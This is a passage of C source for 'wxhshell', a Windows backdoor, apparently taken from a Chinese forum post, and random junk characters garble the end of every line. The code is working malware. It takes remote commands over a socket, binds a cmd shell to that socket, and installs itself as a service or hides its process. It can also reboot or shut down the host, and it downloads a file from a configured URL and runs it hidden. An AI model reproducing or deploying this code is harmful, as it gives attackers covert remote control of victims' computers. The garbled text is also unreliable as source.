  /2 qxJvZ  
  // 帮助 pi/&WMZ<  
  case '?': { A[^k4 >  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gm1RQ^n,@.  
    break; aFL<(,~r  
  } o<5+v^mt#  
  // 安装 'L^M"f^I  
  case 'i': { &M=15 uCK  
    if(Install()) IiY%y:!g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bm6t f}8  
    else 7lr;S(C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >A}ra^gU  
    break; ?q y*`  
    } }|RL6p-/'  
  // 卸载 m &[(xVM  
  case 'r': { ( v$ i  
    if(Uninstall()) "5<YN#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :zpT Gk8Z  
    else M" $g*j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IU"8.(;o  
    break; LCb0Kq}*/(  
    }  }s8xr>  
  // 显示 wxhshell 所在路径 R?J8#JPXD  
  case 'p': { Q v},X~^R  
    char svExeFile[MAX_PATH]; g9IIC5  
    strcpy(svExeFile,"\n\r"); jPg[LZQ'  
      strcat(svExeFile,ExeFile);  J@J`)  
        send(wsh,svExeFile,strlen(svExeFile),0); TjpAJW@-  
    break; v7@ *dg  
    } ciW;sK8  
  // 重启 d-gcXaA-8  
  case 'b': { <t"fL RX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?DY6V;&F@f  
    if(Boot(REBOOT)) @scSW5+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?gjkgCbC#  
    else { ler$HA%F]  
    closesocket(wsh); W~s:SN  
    ExitThread(0); dE 3M   
    } Mv:\T%]  
    break; `*i:z'  
    } 8rNf4]5@X(  
  // 关机 bKh}Y`  
  case 'd': { ft!D2M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <<9|*Tz  
    if(Boot(SHUTDOWN)) )[=C@U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {l\Ep=O vx  
    else { -:Q"aeC5  
    closesocket(wsh); N_(-\\mq  
    ExitThread(0); y"H(F,(N  
    } %-|$7?~   
    break; khQ fLA  
    } V Y@`)  
  // 获取shell m=w #l>!  
  case 's': { 'a~F'FN$  
    CmdShell(wsh); JYLAu4s6  
    closesocket(wsh); vpdT2/F  
    ExitThread(0); I~-sBMm(w  
    break;  p.,`3"C1  
  } .{(gku>g(  
  // 退出 :1~4X  
  case 'x': { D8b9 T.[(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -)DxF<8B  
    CloseIt(wsh); 4OG 1_6K  
    break; _OK!/T*FBt  
    } m5W':vM  
  // 离开 %B\VY+  
  case 'q': { i3>_E <"9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >=3oe.$)  
    closesocket(wsh); w; :{  
    WSACleanup(); }G"bD8+  
    exit(1); :2~2j-m  
    break; #6#%y~N  
        } 2=| Ks]<P  
  } Jb)xzUhES  
  } WqHp23  
1([?EfC  
  // 提示信息 }#n d&ND  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .8wF> 8  
} S=$ \S9  
  } %)e&"mq!|  
NkAu<> G _  
  return; LfvRH?<W  
} `U>]*D68  
t ;y@;?~  
// shell模块句柄 >Hd!o"I  
int CmdShell(SOCKET sock) hS^8/]E={  
{ NQN?CBFQ  
STARTUPINFO si; `b_n\pf ]  
ZeroMemory(&si,sizeof(si)); V7k!;0u v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZtpbKy!\$B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q@C  y\l  
PROCESS_INFORMATION ProcessInfo; ! z5Ozm+}  
char cmdline[]="cmd"; - R`nitf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y{8}z ZD  
  return 0; JRDIGS_~  
} c7R6.T  
!]&+g'aC3  
// 自身启动模式 LXRIo2ynuw  
int StartFromService(void) o3le[6C/8=  
{ DyRU$U  
typedef struct 8(H!iKHe  
{ o\nFSG kn  
  DWORD ExitStatus; Bey9P)_Of  
  DWORD PebBaseAddress; o9Tsyjbj  
  DWORD AffinityMask; :T#f&|Gg;  
  DWORD BasePriority; mqiCn]8G  
  ULONG UniqueProcessId; =ibKdPtTh^  
  ULONG InheritedFromUniqueProcessId; L; <Pod  
}   PROCESS_BASIC_INFORMATION; IkQ,#Bsb[  
hh-sm8  
PROCNTQSIP NtQueryInformationProcess; 'Ojxzz*tT  
so@ijl4{Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -hGLGF??  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g,f AV M  
w1+ %+x  
  HANDLE             hProcess; &InFC5A  
  PROCESS_BASIC_INFORMATION pbi; y!~ }7=  
(^~~&/U_U$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +y 48.5  
  if(NULL == hInst ) return 0; E/^N   
~{t<g;F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .nei9Y*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f~f)6XU|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  y`pgJO  
{7EpljH@  
  if (!NtQueryInformationProcess) return 0; w%%*3[--X  
J #;|P-pt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); es\Fn#?O  
  if(!hProcess) return 0; @$;I%  
0fN; L;v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h<g2aL21?F  
VD+v \X_  
  CloseHandle(hProcess); |[$ TT$Fb  
7_L$XIa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t~Q j$:\  
if(hProcess==NULL) return 0; -CTLQyj)  
n -xCaq  
HMODULE hMod; _DYe<f.  
char procName[255]; Pt/F$A{Cj  
unsigned long cbNeeded; V"KuwM  
`F_R J.g*p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y 9BKd78Y  
WFvVu3  
  CloseHandle(hProcess); ".kH5(:  
t* =i8`8  
if(strstr(procName,"services")) return 1; // 以服务启动 L^Fb;sJYI  
Gf-GDy\{  
  return 0; // 注册表启动 *d-JAE  
} C-^8;xd  
r(g# 3i4Q  
// 主模块 K!v\r"N  
int StartWxhshell(LPSTR lpCmdLine) jN/snU2\0  
{ jT4 m(j  
  SOCKET wsl; e[db?f2!  
BOOL val=TRUE; =TA8]7S~U  
  int port=0; 7 LiyA<  
  struct sockaddr_in door; a._>?rVy  
/wi/i*;A  
  if(wscfg.ws_autoins) Install(); &_'3(xIO  
~e686L0j  
port=atoi(lpCmdLine); JHJ]BMm  
3.h0  
if(port<=0) port=wscfg.ws_port; m~gcc  
?BU?c:"f  
  WSADATA data; oKPG0iM:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @u:q#b  
~bgM*4GW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6|1*gl1_LD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4p>,  
  door.sin_family = AF_INET; K}p0$Lc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P}he}k&IR  
  door.sin_port = htons(port); C-&s$5MzGb  
'N\nJz}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5dL!e<<  
closesocket(wsl); {`9J8qRY  
return 1; N,&bBp  
} *`t3z-L  
k|cP]p4,  
  if(listen(wsl,2) == INVALID_SOCKET) { J$S*QCo  
closesocket(wsl); p\tA&>3-  
return 1; A $l  
} }&^1")2t  
  Wxhshell(wsl); pbG v\S F  
  WSACleanup(); BuOe'$F 0t  
;7(vqm<V2~  
return 0; w NMA)S  
rE?B9BF3O  
} r>t|.=!  
07>D G#  
// 以NT服务方式启动 m[hHaX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q}1qt4xy*  
{ -#r=  
DWORD   status = 0; 'K|F{K  
  DWORD   specificError = 0xfffffff; SfPtG  
Gyc _B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <,J O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y/"CWD/i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GYV%RD#  
  serviceStatus.dwWin32ExitCode     = 0; rfV{+^T;  
  serviceStatus.dwServiceSpecificExitCode = 0; B+2.:Zn6  
  serviceStatus.dwCheckPoint       = 0; ,W>-MPJn[8  
  serviceStatus.dwWaitHint       = 0; G~/*!?&z  
1{G@'# (  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  k.\4<}  
  if (hServiceStatusHandle==0) return; 4Td)1~zc3  
! )(To  
status = GetLastError(); ,t39~w  
  if (status!=NO_ERROR) Sb`SJ):x  
{ M%5_~g2n'\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [o.#$(   
    serviceStatus.dwCheckPoint       = 0; X&A2:A 6\+  
    serviceStatus.dwWaitHint       = 0; s 4n<k]d  
    serviceStatus.dwWin32ExitCode     = status; i1!Y {  
    serviceStatus.dwServiceSpecificExitCode = specificError; jgBJs^JgYG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n%6=w9.%c  
    return; H^g&e$d0  
  } Vr #o]v  
<SRo2rjRa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @`aPr26>?  
  serviceStatus.dwCheckPoint       = 0; |pE ~  
  serviceStatus.dwWaitHint       = 0; X rut[)H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3lgD,_&  
} x6Q_+!mnk  
\psO$TxF=  
// 处理NT服务事件,比如:启动、停止 T;3B_ lu]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0&c<1;  
{ Rd|^C$6  
switch(fdwControl) J$ &2GAi  
{ Cf@N>N#t)  
case SERVICE_CONTROL_STOP: 3vEwui-5  
  serviceStatus.dwWin32ExitCode = 0; +xNq8yS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /.(F\2+A  
  serviceStatus.dwCheckPoint   = 0; F mQiy+.|  
  serviceStatus.dwWaitHint     = 0; QG09=GQ  
  { T )bMHk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >skl-f  
  } t!0 IQ9\[*  
  return; X&!($*/  
case SERVICE_CONTROL_PAUSE: DOq"=R+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'N/u< `)  
  break; ZsGJ[  
case SERVICE_CONTROL_CONTINUE: LqS_%6^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z/i&Lpr:  
  break; c\rP"y|S};  
case SERVICE_CONTROL_INTERROGATE: rC6EgWt<V  
  break; wLo<gA6;  
}; IC-W[~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cq8JpSB(  
} kM3#[#6$!  
Jv~^hN2  
// 标准应用程序主函数 Nk?/vMaw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]F"@+_E  
{ {Vf].l:kn  
2D"aAI<P  
// 获取操作系统版本 8>(/:u_x  
OsIsNt=GetOsVer(); A9LVS&52  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I%CrsEo  
au/5`  
  // 从命令行安装 HcHwvf6y  
  if(strpbrk(lpCmdLine,"iI")) Install(); vP,$S^7$  
O*c<m,  
  // 下载执行文件 l@>@2CB  
if(wscfg.ws_downexe) { 8B6 -f:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q 2 B  
  WinExec(wscfg.ws_filenam,SW_HIDE); ex|h&Vma2V  
} #m3!U(Og`  
{G{ >Qa|  
if(!OsIsNt) { [vxHsY3z  
// 如果时win9x,隐藏进程并且设置为注册表启动 {%6g6?=j  
HideProc(); ,j eC7-tX  
StartWxhshell(lpCmdLine); <,Jx3y q  
} 24 RD  
else 5]2 p>%G  
  if(StartFromService()) eU\_m5xl"  
  // 以服务方式启动 P3TM5  
  StartServiceCtrlDispatcher(DispatchTable); TmJXkR.5  
else fj[Kbo 7!h  
  // 普通方式启动 M} Mgz  
  StartWxhshell(lpCmdLine); ZN!<!"~  
{}BAQ9|q  
return 0; 3lN@1jlh  
}
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只看该作者 1 发表于: 2006-10-10
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